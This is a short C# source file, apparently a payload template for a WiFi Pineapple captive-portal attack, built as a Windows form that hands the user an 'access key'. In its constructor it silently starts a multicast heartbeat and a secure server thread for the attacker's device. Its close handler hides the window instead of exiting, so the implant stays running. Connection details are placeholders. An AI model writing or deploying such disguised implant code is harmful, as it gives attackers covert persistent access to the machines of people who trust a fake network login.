payloadAuth.cs 1.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344
  1. using System;
  2. using System.Drawing;
  3. using System.Windows.Forms;
  4. using PineappleModules;
  5. namespace Payload
  6. {
  7. public partial class Form1 : Form {
  8. PA_Authorization pauth = new PA_Authorization();
  9. public Form1() {
  10. InitializeComponent();
  11. CursedScreech cs = new CursedScreech();
  12. cs.startMulticaster("IPAddress", mcastport, hbinterval);
  13. cs.setRemoteCertificateSerial("serial");
  14. cs.setRemoteCertificateHash("fingerprint");
  15. cs.startSecureServerThread("privateKey", "password");
  16. }
  17. private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
  18. e.Cancel = true;
  19. this.Hide();
  20. }
  21. private void accessKeyButton_Click(object sender, EventArgs e) {
  22. // Request an access key from the Pineapple
  23. string key = pauth.getAccessKey();
  24. // Check if a key was returned
  25. string msg;
  26. if (key.Length > 0) {
  27. msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
  28. }
  29. else {
  30. msg = "Failed to retrieve an access key from the server. Please try again later.";
  31. }
  32. // Display message to the user
  33. MessageBox.Show(msg);
  34. }
  35. }
  36. }